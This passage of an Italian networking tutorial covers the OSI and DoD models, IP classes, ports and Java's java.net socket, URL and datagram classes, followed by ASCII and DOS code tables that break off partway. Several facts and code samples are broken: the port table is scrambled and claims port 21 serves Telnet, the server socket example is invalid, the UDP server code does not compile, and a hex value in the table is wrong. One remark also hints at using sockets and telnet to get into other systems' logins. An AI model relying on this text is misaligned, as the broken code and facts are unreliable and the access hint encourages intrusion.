Possiamo concepire questo strato come la porta tra il mondo hardware e software.
Tra i protocolli più comuni che utilizzano questo strato ritroviamo HDLC, reti geografiche ATM, Microsoft NDIS ecc.

STRATO FISICO (OSI)

Le uniche due funzioni a questo livello sono quelle di trasmettere e ricevere bit tramite differenti tipi di infrastrutture e di dispositivi di trasmissione.
Riassumendo potremmo fare una panoramica su tutte le operazioni che vengono fatte a ciascun livello sul pacchetto originale dei dati

- ***STRATO APPLICAZIONE*** ***Aggiunta indirizzo del nodo***
- **STRATO PRESENTAZIONE** **Aggiunta informazioni codice**
- ***STRATO SESSIONE*** ***Aggiunta informazioni di comunicazione***
- **STRATO DI TRASPORTO** **Aggiunta intestazione e checksum**
- **STRATO DI RETE** **Aggiunta informazioni quantita' e sequenza pacchetti**
- **STRATO DI LINK** **Aggiunta checksum finale**
- **STRATO FISICO** **Invio dati some sequenza di bit**

Ad ogni strato sono definite delle serie di funzioni specifiche con le quali l' applicativo interagisce nell' istante in cui ha bisogno di inviare delle informazioni ad un altro sistema della rete.

La richiesta e le informazioni vengono impacchettate e inviate allo strato successivo il quale aggiunge al pacchetto le informazioni relative alle funzioni gestite a quel livello.
Vediamo ora i quattro starti del modello DoD

STRATO PROCESSO/APPLICAZIONE (DoD)

Questo strato corrisponde ai primi tre del modello OSI.
Gran parte del lavoro di trasmissione viene svolto a questo livello per cui vengono coinvolti un gran numero di protocolli.
Tra i nomi piu' comuni dei protocolli ritroviamo TELNET, FTP, SMTP, NFS, X WINDOW ecc.
Telnet ad esempio e' in pratica un emulazione di terminale.
Tramite Telnet un client puo' accedere ad un'altra macchina su cui e' in esecuzione un server Telnet e lavorare come se fosse un terminale collegato direttamente.
FTP (File Transfer Protocol) e' essenzialmente un protocollo di trasferimento files.
Questo protocollo puo' essere utilizzato da un altro software per il trasferimento di softwares oppure può fungere come programma indipendente e quindi eseguire la navigazione nelle directories del sistema a cui si e' connessi, gestire il trasferimento files ecc.
Vedremo successivamente le funzioni implementate nella libreria sun.net.ftp presente in Java.
Ne programma di esempio utilizzeremo anche le classi di sun.net.smtp che sono quelle che gestiscono il protocollo che si interessa della gestione della posta elettronica (SMTP).

STRATO HOST TO HOST (DoD)

Le funzioni di questo livello sono paragonabili a quelle dello strato di trasporto del modello OSI.
A questo livello vengono gestiti il controllo di integrita' e della sequenza dei pacchetti trasmessi.
Infatti e' proprio a questo strato che incontriamo i protocolli TCP e UDP.
Il protocollo viene caricato come si trattasse di un driver software.

PROTOCOLLO TCP

Il protocollo TCP (Transmission Control Protocol) suddivide in segmenti i blocchi di informazioni generati da un software, li numera, li ordina in modo da permettere

il riassemblaggio degli stessi una volta giunti a destinazione.

La trasmissione di questi segmenti e’ subordinata alla ricezione di segnali di conferma atti a segnalare la corretta ricezione degli stessi.
TCP e’ definito come protocollo orientato alla connessione in quanto prima di inviare i dati contatta il destinatario per stabilire la connessione creando un circuito virtuale.
La trasmissione dei dati avviene, sommariamente, come avevamo visto precedentemente ovvero particolari algoritmi si interessano di verificare la correttezza dei pacchetti di dati per cui prima di eseguire un successivo invio il protocollo richiede conferma al destinatario.
La comunicazione avviene in full duplex.

PROTOCOLLO UDP

Esistono alcune classi in Java che necessitano della conoscenza di un altro protocollo
Il protocollo UDP (User Datagram Protocol) e’ un protocollo piu’ “leggero” che viene utilizzato in alternativa a TCP.
UDP invia in modo indipendente dei pacchetti di dati, chiamati datagrammi, da un applicazione ad un'altra senza garantirne l’arrivo.
In questo caso l’ordine di invio non e’ importante in quanto ogni messaggio e’ indipendente uno dall’altro.
Esistono delle applicazioni in cui il ricevimento dei pacchetti non e’ importante.
Prendete ad esempio un sistema che invia in continuazioni informazioni sulla temperatura rilevata in una certa città.
Se un sistema che desidera ricevere tali informazioni si perde un pacchetto non e’ una cosa cosi critica in quanto potra’ attendere un altro invio.
Mentre TCP e’ basato sulla connessione UDP ne e’ indipendente ed e’ facile comprenderlo da quanto detto.

STRATO INTERNET

Questo strato corrisponde a quello di rete del modello OSI.
In questo livello vengono gestiti gli indirizzi IP degli host.
Una panoramica sui metodi di indirizzamento e di instradamento verranno visti tra breve.
Tra i protocolli di questo strato ritroviamo IP (Internet Protocol), ARP (Address Resolution Protocol), RARP (Reverse Address Resolution Protocol) ecc.

STRATO DI ACCESSO ALLA RETE

Anche a questo livello del modello DoD avviene una gestione simile a quella del livello fisico del OSI.
In pratica i pacchetti vengono tramutati in sequenze di bits.
In questo strato viene anche fornita una supervisione sugli indirizzi hardware.
Le seguenti sono alcune delle tecnologie utilizzate per implementare questo strato :

X25, PPP, EIA

INTRODUZIONE ALLA PROGRAMMAZIONE DI RETE

Fino ad ora abbiamo visto alcuni concetti legati alla strutturazione di una rete sia dal punto di vista logico che da quello fisico.
Si e’ parlato di segmenti di rete o sotto reti.
Internet possiamo quindi definirla come una rete di reti sulla quale esistono sistemi host che possiedono almeno un indirizzo che lo identifica in modo univoco definito da quello che abbiamo visto come IP.
Questo numero IP e’ attualmente un numero a 32 bits costituito da due parti, una relativo alla rete ed una relativa all’ host.
La prima parte dell’ IP, infatti, definisce la rete sulla quale risiede l’ host.

Ogni macchina appartenente ad una rete condivide con le altre macchine la prima parte dell' indirizzo IP.
Esiste un organo competente, il NIC (Network Information Center), il quale assegna a un' azienda un blocco di indirizzi IP.
Per ottenere un numero di identificazione relativo alla propria rete bisogna contattare il NIC a hostmaster@internic.net .
Come abbiamo gia' detto un indirizzo IP e' costituito da un numero a 32 bits il quale sarebbe molto complesso da tenere presente se espresso nella sua notazione binaria originale.
Immaginatevi un indirizzo del tipo : 0110 0110101101000110 011010110100.
Per semplificare la rappresentazione dell' indirizzo e' stata introdotta una rappresentazione a quaterne nella quale un indirizzo IP viene rappresentato nella forma x.y.z.j nella quale ogni lettera e' rappresentata da un numero compreso tra 0 e 255.
Per esempio un indirizzo di un sistema host potrebbe essere 198.102.96.12.
Ciascun numero rappresenta un quartetto ovvero 8 bits di un indirizzo Internet.
Nell 'esempio precedente i primi due numeri potrebbero essere l' indirizzo della rete mentre gli altri due l' indirizzo della macchina su questa.
Come dicevamo prima il NIC assegna gli indirizzi IP.
In base alla grandezza della societa' gli viene assegnata una rete di classe differente.
In base al numero dei segmenti che costituiscono la rete ed al numero dei nodi esistono tre classi di reti e precisamente :

CLASSE	***FORMATO***	***NUM. MAX RETI***	***NUM. MAX NODI***
CLASSE A	**Rete.Nodo.Nodo.Nodo**	**127**	**16.777.216**
CLASSE B	**Rete.Rete.Nodo.Nodo**	**16.384**	**65.534**
CLASSE C	**Rete.Rete.Rete.Nodo**	**2.097.152**	**254**

Nel caso di una rete di classe A i primi otto bits, quelli assegnati, corrispondenti al numero del segmento di rete possono assumere valori compresi tra 0 e 126 (vedremo che gli altri vengono utilizzati per motivi particolari) per cui e' possibile implementare 127 reti di classe A.

Le societa' con reti appartenenti a questa classe sono IBM, HP, APPLE ecc. (considerate che ce ne sono solo 127 indirizzi di classe A).

Microsoft sono invece esempi di indirizzi di reti di classe B.

Gli indirizzi di classe C possiedono invece le prime tre quartine assegnate dal NIC.
Di fatto esiste anche una classe D i cui indirizzi sono utilizzati per il multicast.
Nel JDK 1.1 la Sun ha inserito la classe Multicast nel package java.net.Multicast facendola discendere dalla classe Datagram.
Un indirizzo multicast e' un intervallo compreso tra 224.0.0.0 e 239.255.255.255.
La trasmissione multicast si basa sull' identificazione di tutti i router di una rete ed e' finalizzata ad inviare i dati verso piu' destinazioni.
In pratica in Java e' possibile utilizzare la classe che gestisce il multicast solo su di una rete locale.
Esistono alcuni indirizzi che possiedono scopi particolari come ad esempio :

127.0.0.1	**Funzione di circuito chiuso in cui ogni messaggio viene rispedito al mittente.**
x.y.z.255	**Valore di broadcast che viene utilizzato per inviare un pacchetto a tutti i sistemi di una sotto rete.**
x.y.z.1	**E' l' indirizzo del router di una sotto rete.**

Tutto questo visto fino ad ora e' quanto riguarda la strutturazione di una rete.
Esistono alcuni concetti che invece riguardano l' utente (client) che accede ad un host per navigare sulla rete.

Infatti il termine Socket esprime un terminale di comunicazione ovvero uno dei due estremi di una connessione.
A questo riguardo bisogna ancora dare un occhiata al concetto di porta.
Normalmente un computer dispone di un solo accesso fisico sulla rete.
Tutti i dati destinati ad un sistema arrivano mediante questa connessione.
In ogni caso i dati potrebbero essere destinati a diverse applicazioni in esecuzione sul sistema.
Come puo' il computer capire a quale applicazione e' destinato il pacchetto di dati ricevuto.
Semplice. Tramite il concetto di porta !
I dati trasmessi su Internet sono identificati, come abbiamo gia' visto, dall' indirizzo a 32 bits che identifica il sistema destinatario e dal numero di porta.

Il numero di porta e' costituito da un numero a 16 bits che i protocolli TCP e UDP utilizzano per identificare l' applicazione alla quale sono destinati i dati inviati.
In una connessione il protocollo crea un Socket collegato ad un numero specifico di porta.
Alcuni numeri di porta hanno degli scopi predefiniti come ad esempio :

Porta	***Servizio***
	7 Echo
13	**Daytime**
Ftp	
21	**Telnet**
Smtp	
79	**Finger**
80	**Http**
110	**Pop3**

Ad esempio se si creasse un Socket utilizzando la porta 25 e si inviassero dei dati tramite uno stream creato su questo socket questi verrebbero utilizzati dal demone per l' invio della posta.
Infatti andando ad analizzare i sorgenti della classe sun.net.smtp, come vedremo successivamente, ci accorgeremmo che la gestione dell' invio della mail viene appunto gestita in questo modo.
Un po' del tipo :

```
Socket   sock = new Socket("www.bernardotti.al.it", 25);
PrintStream outStream = new PrintStream(sock.getOutputStream());
```

In java.net ritroviamo un insieme di classi utilizzate dal TCP come ad esempio la classe URL, la classe URLConnection, la classe Socket e la classe ServerSocket.
Altre classi come ad esempio la classe DatagramPacket, la classe DatagramSocket e quella MulticastSocket sono utilizzate dal protocollo UDP.
L'utilizzo dei socket permette di creare software legati ai processi di rete per creare sistemi automatizzati per cercare di accedere a sistemi remoti.
Nella tabella precedente potete vedere che la creazione di un socket agganciato alla porta 21 permette di utilizzare lo stream abbinato a questa per funzioni Telnet.

Grazie a telnet potete accedere alle varie login dei sistemi per cui … chi più ne ha più ne metta !

LA CLASSE URL

Una delle classi fondamentali, che abbiamo visto nel modulo precedente, e' la classe URL.
La classe URL rappresenta un puntatore ad una risorsa presente su un WEB la quale viene reperita utilizzando l' Uniform Resource Locator.
Una risorsa potrebbe essere un normalissimo file o directory od un oggetto piu' complesso come ad esempio un interrogazione su un database.
Un URL normalmente viene suddiviso in due parti

HTTP://	www.bernardotti.al.it
Protocollo	***Risorsa***

La prima parte specifica il protocollo mentre la seconda la risorsa.
Esistono diversi costruttori mediante i quali e' possibile creare una risorsa URL.
Il piu' semplice e' il seguente :

```
URL sunSoft = new URL("http://www.javasoft.com/");
```

Esistono altri costruttori che permettono di specificare le risorse in modo differente, utilizzando anche il numero di porta se necessario.
Ad esempio :

```
URL sunSoft = new URL("http", "www.javasoft.com", "/index.html");
```

e' equivalente a

```
URL sunSoft = new URL("http://www.javasoft.com/index.html");
```

Ogni costruttore URL puo' generare un eccezione legata al protocollo errato o alla risorsa sconosciuta.
L' eccezione puo' essere intercettata con il seguente costrutto :

```
try {
      URL sunSoft = new URL("http://www.javasoft.com/");
} catch(MalformedURLException e) {  … handler all' eccezione …}
```

La classe URL contiene inoltre diversi metodi destinati a ricevere informazioni legate alla URL stessa.
Fate attenzione che non e' detto che tutte le informazioni debbano essere presenti.

Vediamo i seguenti metodi :

getProtocol()	Ritorna il protocollo
getHost()	Ritorna il nome dell' host
getPort()	Ritorna il numero della porta o –1 se non e' stata specificata durante la creazione
getFile()	Ritorna il nome del file

Alcune volte dopo che e' stata creata un URL e' possibile utilizzare il metodo openConnection() per creare un collegamento tra il programma Java e l' URL stesso.

Per esempio e’ possibile creare una connessione con un sito, Altavista ad esempio, mediante il codice :

```
try {
        URL urlTmp = new URL("http://www.altavista.digital.com/");
        URLConnection urlCon = urlTmp.openConnection();
}
catch (MalformedURLException e) {}
catch (IOException e) {}
```

Se la connessione ha avuto successo questa potra’ essere utilizzata per funzioni di lettura e di scrittura.
Molte funzioni legate al reperimento di immagini, suoni, files ecc. necessitano dell’ URL.
Ad esempio :

```
public Image getImage(URL url)
public Image getImage(URL url, String name)
```

I seguenti metodi mostrano alcuni esempi pratici.

```
Image image1 = getImage(getCodeBase(), "imageFile.gif");
Image image2 = getImage(getDocumentBase(), "anImageFile.jpeg");
Image image3 = getImage(new URL("http://java.sun.com/graphics/people.gif"));
```

Esistono due metodi della classe Applet, utilizzati moltissime volte, che permettono di ricavare, in ordine :

```
1. L’ URL della pagina che chiama l’ applet
2. L’ URL dell’ applet
```

Le funzioni sono in ordine :

```
Applet.getDocumentBase()
Applet.getCodeBase()
```

Come abbiamo appena visto i due metodi sono stati utilizzati nel punto in cui era necessario fornire come argomenti l’URL dell’ host da cui era stato caricato l’ applet.

LA CLASSE URLConnection

Questa classe contiene molti metodi utili quando si lavora con URL HTTP.
Fate attenzione che si tratta di una classe astratta e quindi non puo’ essere istanziata direttamente.
Invece di utilizzare un costruttore vedremo come puo’ essere utilizzato il metodo openConnection() della classe URL
La seguente funzione mostra come eseguire la lettura sfruttando la classe URLConnection.
Esempio :

```
import java.net.*;
import java.io.*;

public class URLConnReadr {
        public static void main(String[] args) throws Exception {
                URL tmpUrl = new URL("http://www.altavista.digital.com/");
                URLConnection URLConn = tmpUrl.openConnection();
                        BufferedReader in = new BufferedReader( new
InputStreamReader(URLConn.getInputStream()));
                        String inputLine;
                        while ((inputLine = in.readLine()) != null)
System.out.println(inputLine);
```

```
                        in.close();
        }
}
```

Nella classe URLConnection esistono un grosso numero di metodi e variabili.
Due di queste variabili e due metodi che settano queste variabili sono degni di nota in quanto permettono di eseguire funzioni di input e di output sulla connessione creata.
In pratica le variabili sono :

```
doOutput
doInput
```

A seconda del valore che viene settato (true/false) si indica che l' applet vuole eseguire, in ordine, dell' output e dell' input sulla URLConnection.
Queste variabili possono essere settate dai metodi :

```
void setDoOutput(boolean)
void setDoInput(boolean)
```

Altri due metodi, uno visto nel codice in alto, permettono di ricavare rispettivamente un stream di output ed uno di input dall' URLConnection.
I due metodi sono :

```
OutputStream getOutputStream()
InputStream getInputStream()
```

LA CLASSE InetAddress

Esistono alcune classi che spesso risultano essere utili come ad esempio la InetAddress la quale permette di creare e registrare degli indirizzi utilizzati da altre classi.
Quest' ultima classe di fatto non possiede costruttori pubblici ma in compenso dispone di diversi metodi statici che possono essere utilizzati per creare delle istanze della classe.
Tutti i metodi sono statici e devono essere utilizzati nel seguente modo.

```
InetAddress addr = InetAddress.getByName("www.javasoft.com");
InetAddress addr = InetAddress.getLocalHost();
InetAddress addr[] = InetAddress.getAllByName("www.javasoft.com");
```

Le precedenti funzioni generano un UnknownHostException se il sistema non e' collegato a un DNS.
Per DNS si intende Domain Name Server.
In altre parole il TCP/IP permette di far riferimento agli host di una rete mediante appositi nomi invece di usare l' indirizzo IP.
In pratica il DNS e' il metodo che ci permette di riferirci ad un sistema quello che normalmente costituito dal nomeHost.nomeDominio (i vari www.javasoft.com, www.bernardotti.al.it ecc.)
Inoltre la classe InetAddress include numerose variabili e funzioni per memorizzare indirizzi host Internet.

public String hostName	Questa variabile contiene il nome dell' host nella forma www.xx.yy
public int address	L' indirizzo numerico dell' host (x.y.z.j)
public String localHostName	Contiene il nome dell' host locale ovvero quello del computer su cui viene eseguita l' applicazione.

Dopo questa panoramica sulla classe URL utilizzata nella prima parte del programma vediamo una seconda parte ovvero quella che si interessa dell' invio di messaggi all' host.
La classe e' suddivisa in due parti.
La prima crea la maschera video in cui viene richiesto di inserire l' email del mittente e il testo del messaggio.
Il server mail utilizzato per l' invio viene specificato nei parametri della pagina HTML mediante la voce

```
<param name="mailhost" value="www.bernardotti.al.it">
```

La seconda parte e' quella invece che si interessa della creazione del messaggio e del suo invio.
Come abbiamo gia' detto esiste una porta specifica, la 25 , che permette di comunicare con il demone mail presente sul server.
Questo non significa che, dopo aver aperto un Socket su quella porta, tutto cio' che verra' scritto verra' inviato come mail.
I dati scritti su tale socket dovranno essere formattati in un determinato modo per essere considerati un messaggio valido e quindi per essere smistato.
Le informazioni dovrebbero avere la seguente formattazione :

```
HELO    host mittente
MAIL FROM:  mittente
RCPT TO:  ricevente
DATA
Messaggio  (qualsiasi numero linee)
.
QUIT
```

Esiste una classe in sun.net.smtp che permette la gestione del messaggio.
Nel nostro modulo riscriveremo completamente la parte che si interessa della creazione e dell' invio del messaggio in modo tale da vedere in funzione alcune classi legate alla gestione della rete.

LA CLASSE Socket

Nella parte che si interessava dell' invio del messaggio c'era la seguente parte di codice :

```
sock = new Socket( hostid, port );
reply = new DataInputStream( sock.getInputStream() );
send = new PrintStream( sock.getOutputStream() );
```

Un socket puo' essere considerato come il punto di connessione a due vie esistente tra due programmi che girano in rete.
In altre parole un socket e' la rappresentazione in Java di una connessione TCP.
In pratica quando si vuole eseguire un collegamento ad un sistema in rete si conosce l' indirizzo di questo.
Mediante il numero di porta e' possibile richiedere la connessione ad un software specifico che gira su questa macchina.
Nel nostro caso abbiamo utilizzato il socket aperto utilizzando il nome del server mail e la porta 25 (quella del demone mail) per aprire uno stream di output sul quale scrivere i dati relativi al messaggio da inviare.
Come e' possibile vedere anche dalle due righe di codice appena riportate la fase di scrittura si suddivide in due fasi :

```
1       apertura del socket sul host + numero di porta
2       apertura in scrittura di uno stream
```

Come avrete visto gli stream aperti sono di fatto due.

Uno per scriverci i dati del messaggio e l' altro per leggere le repliche del demone mail.
E' possibile utilizzare la classe socket per la creazione di software client/server.
Supponiamo che sul server giri un programma relativo ad un gioco che apre un socket su una fatidica porta 2222.
Qualsiasi client potra' comunicare con tele software aprendo anch'esso un socket utilizzando il nome dell' host e il numero di porta 2222.
Il software sul sever www.aquilotto.com avra' la forma :

```
Socket sock = new Socket(2222);
```

Sul client invece si avra' :

```
Socket sock = new Socket("www.aquilotto.com", 2222);
```

Chiaramente questo e' il concetto di base in quanto nel caso di una gestione reale multiutente si dovrebbe eseguire un implementazione tramite thread.

LA CLASSE ServerSocket

Questa classe rappresenta un connessione TCP in attesa di ricezione.
Non appena viene ricevuta una richiesta di connessione la classe ServerSocket restituisce un oggetto Socket.
Ad esempio :

```
ServerSocket servSock = new ServerSocket(5555);
```

definisce un server che monitorizza la porta 5555.

```
Socket incoming = servSock.accept();
```

chiede di attendere fino a che un client non si connettera' alla porta 5555.

A quel punto il metodo accept ritornera' restituendo un socket che potra' essere utilizzato per la comunicazione con il client.
Vediamo ora un' altra parte del codice che risultera' interessante per il fatto che mostra l' utilizzo di risorse URL relative ai maggiori motori di ricerca.
Normalmente per fare ricerche e' necessario connettersi ad un determinato motore di ricerca.
La seguente parte di codice mostra una maschera in cui viene richiesto di inserire i dati da ricercare e il motore su cui eseguire la ricerca.
Una delle migliorie apportate nella versione 1.1 del JDK e' che la classe ServerSocket e la classeSocket non sono piu' definite come final percui possono essere estese.
Il seguente esempio mostra una possibilita' fornita con la versione 1.1.

```
class SSLServerSocket extends ServerSocket {
    ...
    public Socket accept () throws IOException
    {
        SSLSocket s = new SSLSocket (certChain, privateKey);
        // create an unconnected client SSLSocket, that we'll
        // return from accept

        implAccept (s);
        s.handshake ();
        return s;
    }
```

```
    ...
}

class SSLSocket extends java.net.Socket {
    ...
    public SSLSocket(CertChain c, PrivateKey k) {
        super();
        ...
    }
    ...
}
```

GESTIONE ECCEZIONI

Nelle argomentazioni viste precedentemente abbiamo utilizzato l' intercettazione delle eccezioni che potevano essere generate dall' utilizzo delle varie classi.
Vediamo ora di approfondire il discorso in quanto l' argomento ricopre un ruolo molto importante.
Avevamo accennato, parlando delle URL, ad un eccezione che veniva generato nel caso in cui si verificava l' impossibilita' di accedere, per problemi di errata definizione del formato, ad una risorsa.
L' eccezione in questione era la MalformedURLException.
Nei package in cui sono presenti le classi viste sono definite altre eccezioni che ci risultano utili per l' identificazione degli inconvenienti legati all' uso di questi packages.
Vediamone un elenco con a fianco i significati :

ECCEZIONE	CAUSA
BindException	Dovuto all' impossibilita' (porta gia' in uso) di collegare il socket
ConnectException	Rifiuto della connessione da parte del socket remoto
MalformedURLException	Interpretazione errata del URL
NoRouteToHostException	Blocco da parte di un firewall. Impossibilita' di raggiungere l' host.
ProtocolException	Errore nel protocollo del socket
SocketException	Eccezione del socket
UnknownHostException	Errore di risoluzione del nome host.
UnknownServiceException	La connessione non supporta il servizio

Nel package sun.net invece ritroviamo le seguenti eccezioni

ECCEZIONE	CAUSA
TelNetProtocolException	Errore del protocollo telnet
SmtpProtocolException	Errore nel protocollo smtp
FtpLoginException	Errore accedendo al server FTP
FtpProtocolException	Errore del protocollo FTP
NntpProtocolException	Errore del protocollo Nntp

Inizialmente, quando parlavamo della struttura della rete, avevamo visto la definizione del protocollo UDP e avevamo anche detto che esisteva una serie di classi che erano apposite per tale protocollo.
Si trattava delle classi per i datagrammi.

LA CLASSE DATAGRAMMA

Inizialmente avevamo detto che i datagrammi vengono utilizzati per inviare in modo indipendente dei pacchetti di dati da un applicazione ad un'altra senza garantirne l’ arrivo.
I pacchetti di dati inviati tramite datagrammi in genere sono indipendenti.
Per fare un esempio pratico vediamo due moduli, uno per il server e uno per il client, che permettono di inviare le informazioni degli utenti collegati ad un sistema Unix.
Supponiamo che esista un programma che a tempi regolari esegua un who (istruzione Unix per vedere l’ elenco degli utenti collegati al sistema) e che scriva i dati in un file denominato users.txt.
Il programma server dovra’ attendere una richiesta di invio di un datagramma da parte di un software client e dovra’ inviare il contenuto del file.

```
import java.io.*;
import java.net.*;
import java.util.*;

public class whoClient {
    public static void main(String[] args) throws IOException {
        if (args.length != 1) {
             System.out.println("Usage: java whoClient <hostname>");
             return;
        }
      // Crea il datagramma
      DatagramSocket socket = new DatagramSocket();
      byte[] buffer = new byte[512];
      InetAddress address = InetAddress.getByName(args[0]);
      // Invia la richiesta
      DatagramPacket packet = new DatagramPacket(buffer, buffer.length, address,
5225);
      socket.send(packet);
      // Prende la risposta
      packet = new DatagramPacket(buffer, buffer.length);
      socket.receive(packet);
      // Lo visualizza i dati ricevuti
      String received = new String(packet.getData(), 0);
      System.out.println("User(s) connected: " + received);
      socket.close();
    }
}
```

Vediamo ora il software del server.

```
import java.io.*;
import java.net.*;
import java.util.*;

public class  whoServerThread extends Thread {
      protected DatagramSocket socket = null;
      protected BufferedReader in = null;
      protected boolean flag = true;

      public whoServerThread() throws IOException {
            this("WhoServerThread");
      }

      public whoServerThread(String name) throws IOException {
                  super(name);
                  socket = new DatagramSocket(5225);
                  try {
```

```
                              in = new BufferedReader(new
FileReader("users.txt"));
                  } catch (FileNotFoundException e) {
                              System.err.println("Could not open who file. ");
                  }
      }
      public void run() {
            byte[] buf = new byte[256];
            String returnValue;
                  while (returnValue = in.readLine()) != null) {
                              try {
                        // Riceve la richiesta
                              DatagramPacket packet = new DatagramPacket(buf,
buf.length);
                              socket.receive(packet);
                        buff = returnValue.getBytes();
                        // send the response to the client at "address" and
"port"
                              InetAddress address = packet.getAddress();
                              int port = packet.getPort();
                              packet = new DatagramPacket(buf, buf.length,
address, port);
                              socket.send(packet);
                              } catch (IOException e) {
                              e.printStackTrace();
                  }
                  }
                  socket.close();
            in.close();
      }
}
```

Con la versione 1.2 del JDK i packages legati alla gestione della rete sono ulteriormente aumentati facendo diventare il numero dei metodi a disposizione una cosa enorme.
Veramente un infinita’ di metodi sufficenti a perdersi dentro.
A peggiorare la situazione ci sono anche le classi create da programmatori e software house che invadono il mercato sia shareware che commerciale.
Sun esce con la versione 1.2 ed aggiunge le classi Swing e JFC … Microsoft arriva con la sua 3.0 e inserisce AFC.
Ogni botta sono centinaia di metodi che si aggiungono a quelli gia’ esistenti.
Senza contare che quello che oggi e’ recentissimo domani e’ sorpassatissimo.
Con Java e’ proprio il caso di dire : “… chi vivra’ vedra’ !”

TABELLE UTILI

TBELLA CODICI ASCII

Dec	Hex	Char	Code
0	00	€	NUL
1	01	€	SOH
2	02	€	STX
3	03	€	ETX
4	04	€	EOT
5	05	€	ENQ
6	06	€	ACK
7	07	€	BEL
8	08	€	BS
9	09	€	HT
10	0A	€	LF
11	0B	€	VT
12	0C	€	FF
13	0D	€	CR
14	0E	€	SO
15	0F	€	SI
16	10	€	SLE
17	11	€	CS1
18	12	€	DC2
19	13	€	DC3
20	14	€	DC4
21	15	€	NAK
22	16	€	SYN
23	17	€	ETB
24	18	€	CAN
25	19	€	EM
26	1A	€	SIB
27	1B	€	ESC
28	1C	€	FS
29	1D	€	GS
30	1E	€	RS
31	1F	€	US
32	20	(space)	
33	21	!	
34	22	"	
35	23	#	
36	24	$	
37	25	%	
38	26	&	
39	27	'	
40	28	(	
41	29	)	
42	2A	*	
43	2B	+	
44	2C	,	
45	2D	-	
46	2E	.	
47	2F	/	
48	30	0	
49	31	1	
50	32	2	
51	33	3	
52	34	4	
53	35	5	
54	36	6	
55	37	7	
56	38	8	
57	39	9	
58	3A	:	
59	3B	;	
60	3C	<	
61	3D	=	
62	3E	>	
63	3F	?	
64	40	@	
65	41	A	
66	42	B	
67	43	C	
68	44	D	
69	45	E	
70	46	F	
71	47	G	
72	48	H	
73	49	I	
74	4A	J	
75	4B	K	
76	4C	L	
77	4D	M	
78	4E	N	
79	4F	O	
80	50	P	
81	51	Q	
82	52	R	
83	53	S	
84	54	T	
85	55	U	
86	56	V	
87	57	W	
88	58	X	
89	59	Y	
90	5A	Z	
91	5B	[	
92	5C	\	
93	5D	]	
94	5E	^	
95	5F	_	
96	60	`	
97	61	a	
98	62	b	
99	63	c	
100	64	d	
101	65	e	
102	66	f	
103	67	g	
104	68	h	
105	69	i	
106	6A	j	
107	6B	k	
108	6C	l	
109	6D	m	
110	6E	n	
111	6F	o	
112	70	p	
113	72	q	
114	72	r	
115	73	s	
116	74	t	
117	75	u	
118	76	v	
119	77	w	
120	78	x	
121	79	y	
122	7A	z	
123	7B	{	
124	7C	|	
125	7D	}	
126	7E	~	
127	7F		
128	80	€	
129	81		
130*	82	‚	
131*	83	ƒ	
132*	84	„	
133*	85	…	
134*	86	†	
135*	87	‡	
136*	88	ˆ	

137*	89	‰
138*	8A	Š
139*	8B	‹
140*	8C	Œ
141	8D	
142	8E	Ž
143	8F	
144	90	
145	91	‘
146	92	’
147*	93	“
148*	94	”
149*	95	•
150*	96	–
151*	97	—
152*	98	˜
153*	99	™
154*	9A	š
155*	9B	›
156*	9C	œ
157	9D	
158	9E	ž
159*	9F	Ÿ
160	A0	
161	A1	¡
162	A2	¢
163	A3	£
164	A4	¤
165	A5	¥
166	A6	¦
167	A7	§
168	A8	¨
169	A9	©
170	AA	ª
171	AB	«
172	AC	¬
173	AD	-
174	AE	®
175	AF	¯
176	B0	°
177	B1	±
178	B2	²
179	B3	³
180	B4	´
181	B5	µ
182	B6	¶
183	B7	·
184	B8	¸
185	B9	¹
186	BA	º

187	BB	»
188	BC	¼
189	BD	½
190	BE	¾
191	BF	¿
192	C0	À
193	C1	Á
194	C2	Â
195	C3	Ã
196	C4	Ä
197	C5	Å
198	C6	Æ
199	C7	Ç
200	C8	È
201	C9	É
202	CA	Ê
203	CB	Ë
204	CC	Ì
205	CD	Í
206	CE	Î
207	CF	Ï
208	D0	Ð
209	D1	Ñ
210	D2	Ò
211	D3	Ó
212	D4	Ô
213	D5	Õ
214	D6	Ö
215	D7	×
216	D8	Ø
217	D9	Ù
218	DA	Ú
219	DB	Û
220	DC	Ü
221	DD	Ý
222	DE	Þ
223	DF	ß
224	E0	à
225	E1	á
226	E2	â
227	E3	ã
228	E4	ä
229	E5	å
230	E6	æ
231	E7	ç
232	E8	è
233	E9	é
234	EA	ê
235	EB	ë
236	EC	ì

237	ED	í
238	EE	î
239	EF	ï
240	F0	ð
241	F1	ñ
242	F2	ò
243	F3	ó
244	F4	ô
245	F5	õ
246	F6	ö
247	F7	÷
248	F8	ø
249	F9	ù
250	FA	ú
251	FB	û
252	FC	ü
253	FD	ý
254	FE	þ
255	FF	ÿ

TABELLA CODICI DOS			
Dec	Hex	Char	Code
0	00	€	NUL
1	01	€	SOH
2	02	€	STX
3	03	€	ETX
4	04	€	EOT
5	05	€	ENQ
6	06	€	ACK
7	07	€	BEL
8	08	€	BS
9	09	€	HT
10	0A	€	LF
11	0B	€	VT
12	0C	€	FF
13	0D	€	CR
14	0E	€	SO
15	0F	€	SI
16	10	€	SLE
17	11	€	CS1
18	12	€	DC2
19	13	€	DC3
20	14	€	DC4
21	15	€	NAK
22	16	€	SYN
23	17	€	ETB
24	18	€	CAN
25	19	€	EM
26	1A	€	SIB
27	1B	€	ESC
28	1C	€	FS
29	1D	€	GS
30	1E	€	RS
31	1F	€	US
32	20	(space)	
33	21	!	
34	22	"	
35	23	#	
36	24	$	
37	25	%	
38	26	&	
39	27	'	
40	28	(	
41	29	)	
42	2A	*	
43	2B	+	
44	2C	,	
45	2D	-	
46	2E	.	
47	2F	/	
48	30	0	
49	31	1	
50	32	2	
51	33	3	
52	34	4	
53	35	5	
54	36	6	
55	37	7	
56	38	8	
57	39	9	
58	3A	:	
59	3B	;	
60	3C	<	
61	3D	=	
62	3E	>	
63	3F	?	
64	40	@	
65	41	A	
66	42	B	
67	43	C	
68	44	D	
69	45	E	
70	46	F	
71	47	G	
72	48	H	
73	49	I	
74	4A	J	
75	4B	K	
76	4C	L	
77	4D	M	
78	4E	N	
79	4F	O	
80	50	P	
81	51	Q	
82	52	R	
83	53	S	
84	54	T	
85	55	U	
86	56	V	
87	57	W	
88	58	X	
89	59	Y	
90	5A	Z	
91	5B	[	
92	5C	\	
93	5D	]	
94	5E	^	
95	5F	_	
96	60	`	
97	61	a	
98	62	b	
99	63	c	
100	64	d	
101	65	e	
102	66	f	
103	67	g	
104	68	h	
105	69	i	
106	6A	j	
107	6B	k	
108	6C	l	
109	6D	m	
110	6E	n	
111	6F	o	
112	70	p	
113	72	q	
114	72	r	
115	73	s	
116	74	t	
